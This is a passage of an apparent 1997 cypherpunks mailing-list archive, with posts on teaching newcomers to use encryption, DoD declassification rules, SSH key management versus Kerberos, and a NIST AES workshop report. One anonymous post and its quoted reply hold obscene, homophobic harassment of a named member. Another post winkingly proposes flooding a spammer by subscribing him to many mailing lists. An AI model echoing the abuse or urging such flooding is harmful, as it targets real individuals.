I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 15 Apr 1997, Anonymous wrote:

> might bite your penis.
> 
>      /\_./o__ Timmy C[ocksucker] May
>     (/^/(_^^'
>    ._.(_.)_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 14 Apr 1997 20:55:43 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414185426.5427B-100000@aurora.nscee.edu>
Message-ID: <199704150354.WAA21300@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> >   There isn't a week that goes by without my receiving an email from
> > someone who thanks me for the benefit they have gained by my introducing
> > them to encryption or anonymous remailers, yet I doubt that many of them
> 
> Toto hints at some issues here that I've been wondering about for a while 
> now.  What are some effective strategies for securely introducing 
> "newbies" to the world of cryptography and anon remailers?  I'm 
> currently attending college, which means that my peers all use email very 
> regularly -- a ripe environment for use of cryptography in email, I should 
> think.  However, nearly everyone's email accounts are on a central Unix 
> machine, which brings up many issues about the (lack of) security of 
> private keys on multiuser machines.
> 
> My question is this -- is it better for the crypto community in the long 
> run to have more people using encryption, but perhaps insecurely, or 
> to have fewer users whose communications are more cryptographically secure?

Multiuser Unix Security == No Security.

Your users may have illusions, but not true security.

First thing I'd suggest is to explain them that nothing that goes through 
that central unix machine is truly secure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 14 Apr 1997 20:06:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: DoDeclassifying Crypto
Message-ID: <1.5.4.32.19970415030518.006dc354@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


From: DOD5200.1-R: "Information Security Program"
January, 1997

Appendix D

Special Procedures for Use in Systematic and Mandatory
Review of Cryptologic Information

1. General guideline: Cryptologic information uncovered in
systematic or mandatory review for declassification of 25-
year old government records is not to be declassified by
other than the National Security Agency. The information may
concern or reveal the processes, techniques, operations, and
scope of signals intelligence (SIGINT), which consists of
communications intelligence (COMINT), electronic
intelligence (ELINT), and foreign instrumentation signals
intelligence (FISINT), or it may concern the components of
Information Security (INFOSEC) which consists of
communications security (COMSEC) and computer security
(COMPUSEC), including the communications portion of cover
and deception plans. Much cryptologic information is also
considered "Foreign Government Information" as defined in
Para. 1.1(d) of the Executive Order 12958.

2. Recognition of cryptologic information may not always be
an easy task. There are several broad classes of cryptologic
information, as follows:

  a. Those that relate to INFOSEC: In documentary form,
they provide   COMSEC/COMPUSEC guidance or information. Many
COMSEC/COMPUSEC documents and materials are accountable
under the Communications Security Material Control System.
Examples are items bearing telecommunications security
(TSEC) nomenclature and crypto keying material for use in
enciphering communications and other COMSEC/COMPUSEC
documentation such as the National Telecommunications and
Information Systems Security Committee or is predecessor
organization, COMSEC/COMPUSEC Resources Program documents,
COMSEC Equipment Engineering Bulletins, COMSEC Equipment
System Descriptions, and COMSEC Technical Bulletins.

  b. Those that relate to SIGINT: These appear as
reports in various formats that bear security
classifications, frequently followed by five-letter
codewords, for example, World War II's ULTRA, and often
carry warning caveats such as "This document contains
codeword material" and "Utmost secrecy is necessary..." or
"Handle Via COMINT Channels Only" or "HVCCO" or "CCO."
Formats may appear as messages having addresses, "from" and
"to" sections, and as summaries with SIGINT content with or
without other kinds of intelligence and comment.

  c. Research, development, test, life cycle support,
planning, and evaluation reports and information that
relates to either COMSEC, COMPUSEC, or SIGINT.

3. Some commonly used words that help to identify
cryptologic documents and materials are "cipher," "code,"
"codeword," communications intelligence," or "COMINT,"
"special intelligence," "communications security," or
"COMSEC," "computer security or COMPUSEC," cryptanalysis,"
"crypto," cryptography," "cryptosystem," "cipher,"
"decipher," "decode," "decrypt," "direction finding,"
"electronic intelligence" or "ELINT," "electronic security,"
"encipher," "encode," "encrypt," "foreign instrumentation
signals intelligence" or "FISINT" pr "FIS"," "telemetry,"
"information systems security" or "INFOSEC," "intercept,"
"key book," "one-time-pad," "bookbreaking," "signals
intelligence" or "SIGINT," "signals security," "TEMPEST,"
and "traffic analysis" or "TA."

4. Special procedures apply to the review and
declassification of classified cryptologic information. The
following shall be observed in the review of such
information.

  a. INFOSEC (COMSEC and COMPUSEC) Documents and
Materials.

  (1) If records or materials in this category are
found in agency or department component files that are not
under INFOSEC control, refer them to the senior
COMSEC/COMPUSEC authority of the agency or department
concerned or return them, by appropriate channels, to the
address in item 4.c, below.

  (2) If the COMSEC/COMPUSEC information has been
incorporated into other documents by the receiving agency,
that information must be referred to the National Security
Agency/Chief Central Security Service (NSA/CSS) for review
before declassification occurs.

  b. SIGINT (COMINT, ELINT, and FISINT) Information.

  (1) If the SIGINT information is contained in a
document or record originated by a U.S. Government
cryptologic organization and is in the files of a non-
cryptologic agency or department, such material will not be
declassified. The material may be destroyed unless the
holding agency's approved records disposition schedule
requires its retention. If the material must be retained, it
must be referred to the NSA/CSS for systematic review for
declassification when it becomes 25-years old or older.

  (2) If the SIGINT information has been
incorporated by the receiving agency into documents it
produces, referral of the SIGINT information to the NSA/CSS
for review is necessary prior to any declassification
action.

  c. COMSEC/COMPUSEC or SIGINT information which
requires declassification by the NSA/CSS should be sent to:

  Director, National Security Agency/
  Chief, Central Security Service
  ATTN: Information Policy Staff (N5P6)
  Fort George G. Meade, MD 20755-6000

----------

For full document:

  http://jya.com/dod52001r.htm  (315K)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: m2c@idt.net
Date: Mon, 14 Apr 1997 21:21:55 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Your Job Posting
Message-ID: <2.2.32.19970415031324.0068aaec@pop3.idt.net>
MIME-Version: 1.0
Content-Type: text/plain


Ref: Robo Surfer Can Find Resumes

Hi:

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Robo Surfer finds resumes that meet your criteria, it saves them to your
hard drive for you to view off-line.

You can view all of the Resumes retrieved by Robo Surfer directly in your
Netscape Navigator or Internet Explorer Browser.  You can also import the
Resumes retrieved by Robo Surfer into most Databases.

The Robo Surfer Resume Finder is a very powerful Java based application that
runs on Windows 95, and can retrieve as many 1,000 resumes in a single run.

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on Robo Surfer Products.  Our Web site address is:

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Or if you like, please feel free to give a call at 914-398-0911 to discuss
how Robo Surfer can help with your recruiting needs.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Mon, 14 Apr 1997 23:49:37 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704150354.WAA21300@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997 ichudov@algebra.com wrote:

> Multiuser Unix Security == No Security.
> 
> Your users may have illusions, but not true security.
> 
> First thing I'd suggest is to explain them that nothing that goes through 
> that central unix machine is truly secure.

It's absolutely true that nothing on a centralized Unix machine is truly 
secure.  However, is abandoning all pretenses of crypto and security in 
favor of holding out for a utopian ideal really the best solution?  Does 
using encryption for email on multiuser machines actually hurt the cause 
of the security community in the long run?

(I'm not asking rhetorical questions here -- I'm truly looking for some 
thoughts on this.)

-Eric 

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Tue, 15 Apr 1997 00:14:03 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <335307BE.7718@sk.sympatico.ca>
Message-ID: <Pine.CVX.3.91.970414235124.7621D-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997, Toto wrote:

>   I have found that rather than promoting encryption and anony
> remailers, that it is much more effective for me just to be aware
> of when someone mentions a problem they are having that can be
> solved by crypto/remailers.

Do you do consulting work for a specific audience that would be inclined 
to need to use remailers and encryption more than the average user, or 
are you referring more to just "average" friends?  If it is the second 
case, especially, I think that many of us might benefit from some 
specific scenarios in which you proposed encryption and remailers as 
solutions. 

>   The biggest thing to me is to try to point them toward a level
> of technology that they are capable of using, or will be capable
> of learning, given the level of their problem.

What programs do you usually suggest?  On my Linux box, I use pine 3.95's 
filter hooks to use PGP relatively seamlessly, but the multiuser system 
that most of my peers use email on does not have a version of pine 
capable of supporting filters.  I've looked into Raph's premail, and have 
set it up successfully, but it seems a bit obtuse for a normal user.  
(Plus I *REALLY* don't like the idea of storing my passphrase on the 
multiuser system as well.)

>   Also, if a wide range of people are using crypto, whether it
> is strong and secure or not, then there will be a larger group
> of people interested in the government or their employer not 
> interfering with their use of it.

This brings up an interesting point -- should we crypto users try and 
work with the system administrators to get PGP set up systemwide, or 
should we just try to do it on our own, as unobtrusively as possible?  A 
systemwide implimentation of PGP would probably be advantageous, but to 
ask for that certainly risks bringing attention to otherwise unobtrusive 
activities that the system administrators might not like.

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Tue, 15 Apr 1997 01:11:12 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704150718.CAA23959@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970415005525.8148B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 15 Apr 1997 ichudov@algebra.com wrote:

> I would not call it truly "utopian". There is not much that's needed to
> achieve reasonable personal security, protecting from attacks from the
> Internet  -- an individual (pesonal) computer system that offers no
> internet services. Could be bought for $300 or less.

That makes a lot of sense for data security in the general sense, but I'm 
uncertain how useful that would be in terms of helping the user have more 
secure email.  Is there an offline mail reader for standard Unix systems 
that would run on a platform like you describe?  

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Apr 1997 17:17:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [URGENT] Cyclic codes
Message-ID: <199704150017.CAA14325@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Timmy C[ocksucker] May in the ass, a rabid tapeworm 
might bite your penis.

     /\_./o__ Timmy C[ocksucker] May
    (/^/(_^^'
   ._.(_.)_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 15 Apr 1997 00:21:02 -0700 (PDT)
To: enystrom@aurora.nscee.edu (Eric Nystrom)
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <Pine.CVX.3.91.970414204503.6444A-100000@aurora.nscee.edu>
Message-ID: <199704150718.CAA23959@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Nystrom wrote:
> 
> On Mon, 14 Apr 1997 ichudov@algebra.com wrote:
> 
> > Multiuser Unix Security == No Security.
> > 
> > Your users may have illusions, but not true security.
> > 
> > First thing I'd suggest is to explain them that nothing that goes through 
> > that central unix machine is truly secure.
> 
> It's absolutely true that nothing on a centralized Unix machine is truly 
> secure.  However, is abandoning all pretenses of crypto and security in 
> favor of holding out for a utopian ideal really the best solution?  Does 
> using encryption for email on multiuser machines actually hurt the cause 
> of the security community in the long run?
> 

I would not call it truly "utopian". There is not much that's needed to
achieve reasonable personal security, protecting from attacks from the
Internet  -- an individual (pesonal) computer system that offers no
internet services. Could be bought for $300 or less.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Apr 1997 19:26:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970414182326.008c8400@mail.io.com>
Message-ID: <199704150226.EAA28932@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


I've written an article on the subject of CA liabilities absent a state
digital signature law.  Read it and weep.

<A HREF="http://www.law.miami.edu/~froomkin/articles/trusted.htm">Click
here</A>


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | [still avoiding spam]
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 15 Apr 1997 10:02:14 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com>
Subject: Useful utility?
In-Reply-To: <199704150514.WAA03580@proxy1.ba.best.com>
Message-ID: <Pine.SUN.3.96.970415125057.28199L-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain



I've been hearing a lot of complaints from sysadmins who I try to convince
to run SSH lately.

"Key management is too difficult."
"I cant keep track of all that stuff."

I think that an interesting answer might be a ssh key issuing "robot." or
vending machine of sorts.

It might works something like this.

User wants access to the sshd running host.
Sysadmin gives the user a one time key only good for connecting to the
vending machine via SSH.  Would be nice if the robot recycled the password
every time a successful connection was made.

Connecting to the vending machine, the user would fill out a form
including the hostnames he was likely to connect from and etc.

After filling out that form, the user would be issued a key for the
system, which would be automatically entered into authorized_keys.
Whatever other automation was needed to get a user up and running on SSH
would be executed.

Of course, the main problem is that the sysadmin could capture the secret
key of the user and use it to create a false login trail or other
mischief.  This could be avoided by allowing a user generated key to be
submitted, of course.  Ideally both options would be presented with a
"less secure" warning for the former.

Might make a nice project for someone fluent in perl, or even a webpage.

I'd do it my self if my programming talents were not so pathetic.

Comments?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 15 Apr 1997 12:43:57 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: FCC to take control of the Net? Domain names and addresses...
In-Reply-To: <3353CE42.4DAC@stanford.edu>
Message-ID: <3353D98C.497E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:

> >NSF... FNC-AC... IANA... ARIN... IP... NSI... IAHC... RIPE... FCC...
> 
> There was a W3C IP BOF at WWW6 wherein this stuff was discussed.
> JM said they'd have a POV PDQ. Suggest you check out the WG WWW
> page ASAP.

  BT, DT.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Tue, 15 Apr 1997 13:49:46 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: What's good for the goose...
Message-ID: <01BC49A3.FD146380@colobus.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello all...

I was thinking about some things....like many other people, I really dislike junk email. How they get email addresses to send to is no mystery. So here's the idea. We've started seeing people change their email return addresses so that they can avoid spam. 

I've got a better idea. 

Make your return address "wallace@cyberpromo.com" , that's right... Good old spamford wallaces email address needs a little traffic. You'll want to change your SIG so that people don't freak out on you. 

IN FACT, and although I WOULD never RECCOMMEND THIS.  (notice the enunciation...'nuf said) I would be tempted, if I had the time of course, to subscribe the freak to as many lists as I could find, but of course I would never do such a thing, as that might at the very least make his communication links kind of active, bringing up the price of doing business for him. 


   Just a little idea....

      Chris DiBona


PS: Of course I would never do such a thing myself. This is information and ideas provided for your entertainment only...uh huh...that's right...for sure ;-)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Tue, 15 Apr 1997 18:48:10 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Not the General Election
Message-ID: <199704151316.OAA29828@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



In this week's Not The Election Issue of Shift Control:

"Now that the abattoir bosses have revealed that the real cause of the E.
coli outbreak is because cows are covered in faeces, how can we waste time
voting? We could save the life of a little old lady simply by hosing down a
cow." - Nick Green on alternative ways to spend May Day

"Nobody minds people's personal sexual foibles, but it'd be the decent
thing if old Piers Merchant had campaigned for the rights of sex workers.
Or if Sir Michael Hirst had voted for lowering the age of homosexual
consent. Being too apathetic to register my vote even for Reader's Digest
free prize draws, I have failed to grill my local party candidates on this
particular hot sausage. In fact, my only political contact is the landlord
of the pub next to my mother's house, who is the chairman of the Monster
Raving Loony Party." - Kate Spicer tries to decide how - or if - she should
vote

"The Monarch will preferably be of the warrior mentality, with a smart,
non-people-based army. Say, for example, 10 battalions of cloned and
chip-implanted SAS geezers plus a lot of anti-personnel surveillance gear
embedded in any interactive mass media - telephones, computers,
televisions. This way the King can not only know and rule his people, he
can direct market to them as well." - Robin Hunt assesses alternatives to
the liberal democratic system

Also this week:

Our quiz asks how wild you are about sleaze, our consumer section explains
how to eat a liberal, Leo Hickman provides his fantasy Cabinet, plus more
antics from Freebee, the rock 'n' roll insect with ants in his pants.

Shift Control: incorruptible as ever, waiting for you at
http://www.shiftcontrol.com

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Date: Tue, 15 Apr 1997 05:20:04 -0700 (PDT)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: How to IGNORE massive To: and Cc: spams
In-Reply-To: <199704131915.OAA04079@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970415135757.23182G-100000@alien.lummerland.de>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 13 Apr 1997, Igor Chudov @ home wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > >
> > > [this is only of interest to UNIX(tm) users. Windows users, please ignore]
> > 
> > I suspect that a typical Windows user with a POP account usually has a unix
> > account and a home directory (although its shell may be /etc/false or some
> > such); he may be able to ftp to it and create a .forward file pointing
> > to procmail, who will look at the incoming mail before passing on to his
> > PPP. I don't really know shit about this, so don't flame me if this
> > doesn't work. :-)
> 
> If the user shell is /bin/false, most likely the .forward file will not
> be able to invoke any programs.
> 
> 	- Igor.
> 
> 
> 
This is a real problem to me. As I recieve mail via cslip using
popclient there seems to be no way to get it sorted. Though I'm not a
programmer at all I could instruct procmail to do what I want. It works
fine when I'm sending mail from one account to the other locally. You can
find information on procmail on the net (and this list). But nobody seems
to know about popclient, which according to the man-pages may be
influenced by an awk-script to do sorting.
Does anybody know about an example script on that? An URL?
Not that I know about awk. But you can't do anything w/o trying.

-Tom

################################################################################
   Heinz-Juergen Keller                               hjk@ddorf.rhein-ruhr.de 
   Derendorfer Str.36                                 voice:49-211-464314     
   40479 Duesseldorf                                                           
   Germany
################################################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Les Pourciau at UMem <POURCIAU@MSUVX1.MEMPHIS.EDU>
Date: Tue, 15 Apr 1997 12:24:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: The Ethics of Electronic Information
Message-ID: <01IHQK3F1V5IB74UI2@MSUVX1.MEMPHIS.EDU>
MIME-Version: 1.0
Content-Type: text/plain


   ******WITH ALL APOLOGIES FOR POSTING TO MULTIPLE LISTS,****** 
              ******PLEASE DISTRIBUTE WIDELY******

THE ETHICS OF ELECTRONIC INFORMATION IN THE 21st CENTURY
September 26-28, 1997

Sponsored By:  The University of Memphis Libraries
	       The U of M Information systems
               The U of M Linder Center for Urban Journalism
               The U of M Division of Research and Graduate School
               The U of M Marcus Orr Center for the Humanities
               The U of M Cecil C. Humphreys School of Law
               The U of M Fogelman College of Business and Economics

CONFERENCE VENUE
Fogelman Executive Center, The University of Memphis, Memphis TN, U.S.A.
http://www.people.memphis.edu/~operations/fec_list.htmlx
Additional Memphis Web Site: http://www.memphistravel.com

THE ELECTRONIC INFORMATION ISSUE
     Recently historian Neil Postman warned against the naive belief that
information is "an unmixed blessing, which through its continued and
uncontrolled production and dissemination offers increased freedom, creativity,
and peace of mind" (1992, p. 71*).  Indeed, information and information
technology raise a host of difficult issues:  

     Who will be authorized to have access to the plethora of information that
is generated by computers in the 21st century?

     Will privacy, that most revered of American values, be passe, given the
power of computers and the invasiveness of information bureaucracy and
technology?

     Will the possession of information mean riches for the possessors, and
will those possessors of information inevitably be the rich nations and
neighborhoods of the earth?

     Who will own information, and who will be barred from access to
information?  How will copyright be administered on the Internet?

These are only a few of the myriad of questions and concerns that occur
to practitioners in a variety of professional fields.

*Neil Postman, 1992. TECHNOPOLY: THE SURRENDER OF CULTURE TO TECHNOLOGY,
 New York, Vintage Books, 1992.

CALL FOR PAPERS
The Symposium Planning Committee seeks original research and application
oriented papers, not previously presented elsewhere, which address 
questions about ethical considerations attendant to the forthcoming
Information Age.  You are invited to submit an abstract of a proposed paper 
for consideration by the Review Committee. Alternative modes of presentation, 
e.g., panel discussions, case studies, will be considered. The deadline for 
receipt of proposals is April 25, 1997. The following guidelines should be 
observed in the preparation and submission of your abstracts:

1. The abstract should be a precis of your paper and should be between
   1000 and 1,500 words in length.
2. The heading should include the title of your paper, followed by the
   name(s) and affiliation(s) of the author(s), and the name, address,
   FAX number, and email address of the author who will present the 
   paper at the Symposium.
3. Acceptance or otherwise will be at the discretion of the Symposium
   Planning Committee. The presenting author will be notified of the
   Committee decision no later than May 9, 1997.  
4. Upon acceptance of abstracts, authors will be required to forward,
   no later than August 1, 1997, a copy of their papers as an ASCII 
   file, or a URL which can linked to the Symposium site. 
5. Abstracts should be sent to: 

     Dr. Lester J. Pourciau
     Director of Libraries and
     Executive Chair, 
     EEI Planning Committee
     McWherter Library 203
     The University of Memphis
     Campus Box 526500
     Memphis, TN 38152-6500
     Email: pourciau@cc.memphis.edu

CONTACT FOR GENERAL INFORMATION:
   
     Mr. Tom Mendina
     Assistant to the Director
     The University of Memphis Libraries
     Phone:  901/678-4310
     Fax:   901/678-8218
     E-mail: tmendina@cc.memphis.edu

LODGING
     Fogelman Executive Center Hotel
     $65 for one person; $10 per additional person
     901/678-5410

     Ridgeway Inn
     $76 for one person
     Complimentary airport shuttle
     901/766-4000

REGISTRATION
To register for symposium attendance only or paper presentations, complete 
the form BELOW and mail it for receipt no later than August 30, 1997 to:


		THE UNIVERSITY OF MEMPHIS
		P.O. BOX 1000, DEPT. 313
		MEMPHIS TN 38148-0313 U.S.A.

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		    THE UNIVERSITY OF MEMPHIS
		SYMPOSIUM ON THE ETHICS OF ELECTRONIC 
                  INFORMATION IN THE 21st CENTURY
                       September 26-28, 1997
                     FOGELMAN EXECUTIVE CENTER
                     THE UNIVERSITY OF MEMPHIS

REGISTRATION FORM

Make checks payable to: The University of Memphis

FAX NUMBER 901-678-2272

For VISA/MASTERCARD/DISCOVER
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FEES (includes breakfasts, lunches, and Friday evening cocktails
      and banquet)
	
	Attendance only:	$150
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	Late Fee:		$50 added to any remittance after
                                    August 30, 1997

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerome Thorel <jt@freenix.fr>
Date: Tue, 15 Apr 1997 05:42:59 -0700 (PDT)
To: thorel@netpress.fr
Subject: lambda 3.02 online
Message-ID: <v03007807af793515e1a4@[194.51.213.140]>
MIME-Version: 1.0
Content-Type: text/plain


Bonjour,

Lambda 3.02 edition by majordomo is not yet ready. The bulletin's text
edition will come out this evening -- 8 pm GMT.

You can access to it on the web:
http://www.freenix.fr/netizen/302-e.html

This bulletin reproduces the Statewatch
(http://www.poptel.co.uk/statewatch) report released Feb. 27 about the
global wiretap pact agreed among European Union's 15 members for
international interceptions of telecommunications.

Archived on the lambda's site thanks to Tony Bunyan, Statewatch's director:
http://www.freenix.fr/netizen/swreport.html

Privacy yours,
--
NOTE
If you receive this message, that means you are registered as a subscriber
of majordomo-backed lambda list. To unsubcribe, send to
majordomo@freenix.fr the following command (subject blank - in the message
field):
	unsubscribe lambda-en your@email
--


--> Jerome Thorel
lambda bulletin
Paris, France
www.freenix.fr/netizen <--






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Tue, 15 Apr 1997 12:33:03 -0700 (PDT)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Useful utility?
In-Reply-To: <Pine.SUN.3.96.970415125057.28199L-100000@polaris.mindport.net>
Message-ID: <t534td884n6.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

>> I've been hearing a lot of complaints from sysadmins who I try to convince
>> to run SSH lately.
>> 
>> "Key management is too difficult."
>> "I cant keep track of all that stuff."
>> 
>> I think that an interesting answer might be a ssh key issuing "robot." or
>> vending machine of sorts.
>> 
>> It might works something like this.
>> 
>> [ details omitted ]
>> 
>> Comments?

It sounds like you've basically reinvented Kerberos, at least from a
key management perspective.  If you consider some of the pk extensions
to Kerberos which have been proposed recently, it's even vaguely
similar cryptographically.

SSH is great if you control everything in your environment, and if the
number of users and endpoints is small.  But as these parameters grow
and change, Kerberos is more useful, because it scales more easily.
What would be truly useful would be to combine the different
approaches, so that you could use whichever mode was most appropriate
to your environment.  This is possible, but the details are subtle,
and would probably make backward compatibility difficult.

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 15 Apr 1997 19:12:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Meeting Report: "Developing the Advanced Encryption Standard"
Message-ID: <v03007809af797c2a3e44@[206.11.192.92]>
MIME-Version: 1.0
Content-Type: text/plain


                           Meeting Report:
        "Developing the Advanced Encryption Standard" Workshop

                           15 April 1997
                         by Bruce Schneier


NIST held a workshop to discuss the proposed Advanced Encryption Standard
(AES) today.  About 70 people, from government and industry, attended.
Specifically, the workshop was convened to discuss the minimum
acceptability requirements, evaluation criteria, and submission
requirements for the AES.  First my report, and then some opinion.

Miles Smid presented NIST's goals for AES.  They wanted a strong encryption
block encryption algorithm for government and commercial use, one that
would support "standard codebook modes" of encryption, "significantly more
efficient than triple DES," and with a variable key size.

Smid then summarized the comments and their proposed responses.
Thirty-three comments (via paper and e-mail) were received in response to
the 2 January 1997 Federal Register.  These comments were all distributed
at the workshop.

Responses to comments on the "Minimum Acceptability Requirements and
Evaluation Criteria."  (Please note that these responses are only "proposed
responses," and are not the official responses of NIST.)

	1.  NIST agrees that all unclassified analyses will be made public,
and encourages that the mathematical rationale behind algorithms be
presented along with the algorithms.

	2.  NIST prefers a block cipher to a stream cipher because it would
be compatible with DES, and because existing standards specify block modes.
Still, they are open to a discussion on stream ciphers.  (They got a lot of
discussion, but seemed to ignore it.)  They are also open to block sizes
larger than 64 bits.  (The general consensus was 128 bits.)  They would
prefer to have a single algorithm in AES, as opposed to a family of
algorithms (this prompted discussion as well).

	3.  NIST is open to a discussion on key length: whether it should
be a single large keylength or a variable keylength.  NIST also "intends to
recognize triple-DES when it becomes an ANSI standard."  NIST wants the AES
to offer significant advantages over triple-DES.  (They said this over and
over.  Their opinion was that if the process just recognized triple-DES,
then it wasn't really worth bothering.)

	4.  NIST pointed out that requiring both hardware and software
implementations precluded the submission of algorithms that could be
implemented only in hardware.  (Remember the security restrictions imposed
on Skipjack.)

	5.  Regarding patent-free implementations, NIST strongly prefers a
royalty-free world-wide implementation.  They will accept patented
algorithms, but will heavily favor royalty-free algorithms.

	6.  Comments on the judging criteria:  Regarding security, NIST
strongly encourages a public explanation of the rationale behind any
constants or tables, and a statement of the work factor required to attack
the algorithm; they will judge all attacks below the work factor for
practicality.  Regarding computational efficiency, NIST will favor
efficiency on 32-bit processors and short key-setup time, will test
